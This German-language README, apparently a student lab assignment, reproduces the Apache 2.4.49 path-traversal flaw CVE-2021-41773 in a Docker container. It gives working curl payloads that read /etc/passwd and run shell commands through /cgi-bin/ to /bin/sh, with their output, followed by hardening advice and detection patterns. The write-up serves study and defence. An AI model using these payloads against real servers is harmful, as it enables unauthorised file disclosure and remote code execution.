
WHS 4. Jahrgang 이희수. kr-vulhub-Aufgabenabgabe
Mitwirkende
Apache HTTP Server 2.4.49 weist eine Schwachstelle auf, bei der im Rahmen der Normalisierung von URL-Pfaden codierte übergeordnete Pfade nicht ordnungsgemäß blockiert werden.
Ein Angreifer kann mithilfe von Werten wie .%2e aus dem Verzeichnis ausbrechen, das der Webserver zur Veröffentlichung freigegeben hat. In Umgebungen, in denen der Zugriff auf externe Verzeichnisse erlaubt ist, können interne Serverdateien offengelegt werden. Ist die CGI-Funktion aktiviert, kann eine System-Shell ausgeführt werden, was zu Remote-Codeausführung führen kann.
In diesem Projekt wurde mit Docker eine Apache-HTTP-Server-2.4.49-Umgebung aufgebaut und die folgenden beiden Punkte reproduziert:
/etc/passwd mittels Path TraversalCVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│ └── httpd.conf
├── web/
│ └── index.html
├── scripts/
│ ├── poc.sh
│ └── poc.ps1
└── screenshots/
├── 01-container-status.png
├── 02-normal-service.png
├── 03-apache-version.png
├── 04-path-traversal.png
├── 05-rce-whoami.png
└── 06-poc-script.png
Docker-Image mit dem folgenden Befehl erstellen und Container ausführen:
docker compose up -d --build
Containerstatus mit dem folgenden Befehl prüfen:
docker ps
Anhand der Ausgabe wird bestätigt, dass der Container den Status Up hat und Port 8080 des Hosts mit Port 80 des Containers verbunden ist.

Im Browser die folgende Adresse aufrufen:
http://localhost:8080
Wird die Apache-Webseite normal angezeigt, ist der Aufbau der Umgebung abgeschlossen.

Apache-Version im Container mit dem folgenden Befehl prüfen:
docker compose exec web /usr/local/apache2/bin/httpd -v
Ausgabe:
Server version: Apache/2.4.49 (Unix)
Es wird bestätigt, dass Apache HTTP Server 2.4.49 ausgeführt wird, der von CVE-2021-41773 betroffen ist.

In dieser Übungsumgebung gelten die folgenden Bedingungen:
daemonIn der Apache-Konfiguration wird der Zugriff auf den Dateisystem-Rootpfad wie folgt erlaubt:
<Directory "/">
AllowOverride None
Require all granted
</Directory>
Zusätzlich wurde für die CGI-Ausführung die folgende Konfiguration verwendet:
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options +ExecCGI
Require all granted
</Directory>
Die folgende Anfrage greift mithilfe eines codierten übergeordneten Pfads auf die Datei /etc/passwd im Container zu:
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
.%2e wird nach der URL-Decodierung als .. verarbeitet.
Der Angreifer kann also ausgehend vom Alias-Pfad mehrfach in übergeordnete Verzeichnisse wechseln und anschließend auf die Datei /etc/passwd zugreifen.
Ausgabe:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

In /etc/passwd werden Systemkontoinformationen wie Benutzername, UID, GID, Home-Verzeichnis und Login-Shell gespeichert.
Zwar sind keine echten Passwörter enthalten, dennoch wird eine Schwachstelle durch Informationsoffenlegung bestätigt, da eine interne Serverdatei, auf die normale externe Webnutzer keinen Zugriff haben sollten, allein durch eine HTTP-Anfrage offengelegt wurde.
In realen Produktionsumgebungen könnten auf dieselbe Weise die folgenden sensiblen Informationen offengelegt werden:
Die folgende Anfrage greift mithilfe von Path Traversal auf /bin/sh zu und führt den Befehl whoami aus:
curl -s --path-as-is \
-d "echo Content-Type: text/plain; echo; whoami" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
Ausgabe:
daemon

Da der Pfad /cgi-bin/ über ScriptAlias konfiguriert ist, liest Apache Dateien in diesem Pfad nicht einfach, sondern führt sie als CGI-Programme aus.
Wird nach dem Zugriff auf /bin/sh über Path Traversal ein im Anfragebody enthaltener Befehl übergeben, wird dieser mit den Rechten des Apache-Ausführungskontos ausgeführt.
In dieser Umgebung wird Apache mit dem folgenden Konto ausgeführt:
User daemon
Group daemon
Daher wurde das Ergebnis der Befehlsausführung ebenfalls mit dem Konto daemon ausgegeben.
Auch wenn es sich nicht um root-Rechte handelt, können die folgenden zusätzlichen Bedrohungen auftreten:
Statt einzelner Befehle können mit dem PoC-Skript der normale Dienst, Path Traversal und Remote-Codeausführung in einem Schritt überprüft werden.
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1
bash scripts/poc.sh
Das Skript prüft nacheinander die folgenden Punkte:
[1] 정상 서비스 확인
[2] Path Traversal을 통한 /etc/passwd 접근
[3] CGI를 통한 id 명령 실행

Apache HTTP Server 2.4.49 sollte nicht verwendet werden; es muss eine Aktualisierung auf die neueste Version mit angewendeten Sicherheitspatches erfolgen.
In Produktionsumgebungen sollte der Dateisystem-Rootpfad standardmäßig blockiert werden:
<Directory "/">
Require all denied
</Directory>
Nur die benötigten Webverzeichnisse werden separat freigegeben:
<Directory "/usr/local/apache2/htdocs">
Require all granted
</Directory>
Wenn die CGI-Funktion nicht benötigt wird, sind die folgenden Funktionen zu deaktivieren:
mod_cgiScriptAliasExecCGIDer Apache-Prozess sollte mit einem eingeschränkten Dienstkonto und nicht als root ausgeführt werden; die für dieses Konto zugänglichen Dateien und Verzeichnisse sind zu minimieren.
Anfragen, die ungewöhnliche Pfade wie die folgenden enthalten, sollten erkannt und blockiert werden:
.%2e
%2e%2e
/cgi-bin/
docker compose down
In dieser Übung wurde Apache HTTP Server 2.4.49 mithilfe eines Dockerfiles erstellt und über Docker Compose eine reproduzierbare verwundbare Umgebung eingerichtet.
Es wurde bestätigt, dass durch eine Path-Traversal-Anfrage die Datei /etc/passwd im Container offengelegt wird, auf die normale Webnutzer keinen Zugriff haben dürften.
Darüber hinaus wurde bestätigt, dass in einer Umgebung mit aktiviertem CGI über den Zugriff auf /bin/sh Systembefehle mit den Rechten des Apache-Ausführungskontos daemon ausgeführt werden können.
Dadurch wird deutlich, dass CVE-2021-41773 nicht nur eine einfache Pfadoffenlegung darstellt, sondern je nach Umgebungskonfiguration zu Remote-Codeausführung führen kann.